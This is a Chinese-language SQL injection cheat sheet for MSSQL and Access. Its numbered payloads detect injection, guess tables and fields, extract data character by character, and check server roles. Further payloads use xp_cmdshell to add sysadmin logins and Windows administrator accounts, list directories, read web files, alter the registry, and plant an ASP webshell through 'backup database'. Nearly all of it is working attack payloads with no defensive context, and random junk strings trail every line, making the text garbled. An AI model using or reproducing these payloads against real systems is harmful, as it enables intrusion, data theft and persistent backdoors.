1.判断是否有注入;and 1=1 ;and 1=2 C&w0HoF
2.初步判断是否是mssql ;and user>0 f- 9t
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3.注入参数是字符'and [查询条件] and ''=' r4*H96l
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' QNMZR
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5.判断数据库系统 BkXv4|UE
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;and (select count(*) from sysobjects)>0 mssql 8~C}0H
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;and (select count(*) from msysobjects)>0 access l6HtZ(
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 d|NW&PG
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 N
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 a4^hC[a
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9.(1)猜字段的ascii值(access) rueaP
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 JL87a^ro
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(2)猜字段的ascii值(mssql) (t@)`N{
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 9t\14tVwx
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10.测试权限结构(mssql) [y`Gp#
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- M,H8ZO:R
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2v ~8fr4
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- /8qR7Z^HZ
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- C<^i`[&P$
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- )?[7}(4jI
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Q*#Lr4cm{
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;and 1=(select IS_MEMBER('db_owner'));-- $EFS_*<X
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11.添加mssql和系统的帐户 j13-?fQ&
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;exec master.dbo.sp_addlogin username;-- c.]QIIdK
;exec master.dbo.sp_password null,username,password;-- 0<`qz |_h
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- /P,1KVQPh
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;exec master.dbo.xp_cmdshell 'net user username password cOP'ql{"
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- =A6*;T"W
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ?Sh]kJO
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- )'n@A% B
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12.(1)遍历目录 W'vek uM
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;create table dirs(paths varchar(100), id int) p4z4[=-:
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ?+hEs =Xs
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;and (select top 1 paths from dirs)>0 N/0aO^"V
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(2)遍历目录 Cty{
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- xbCR4upS
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ||X3g"2W9
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 'm*W<
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 [G8EX3
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13.mssql中的存储过程 vcQl0+&
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xp_regenumvalues 注册表根键, 子键 yrEh5v:
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 QD%xmP
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xp_regread 根键,子键,键值名 _(J#RH
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 :u9'ZHkZ
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xp_regwrite 根键,子键, 值名, 值类型, 值 \l(J6Tu
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 JqO1 a?H
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xp_regdeletevalue 根键,子键,值名 i;{lY1
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 *CXc{{
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 L<=Dl
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14.mssql的backup创建webshell rtAPkXJFM
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use model ~3M4F^
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create table cmd(str image); }I
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insert into cmd(str) values (''); jC[_uG
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backup database model to disk='c:\l.asp'; s i2@k
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15.mssql内置函数
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;and (select @@version)>0 获得Windows的版本号 '6vo#D9M
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa V~*>/2+
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;and (select user_name())>0 爆当前系统的连接用户 PP$2s]{
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;and (select db_name())>0 得到当前连接的数据库 >?K=l]!(*
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16.简洁的webshell VsSAb%
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use model U -OD
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create table cmd(str image); ox`Zs2-a
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insert into cmd(str) values (''); Wap4:wT
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backup database model to disk='g:\wwwtest\l.asp';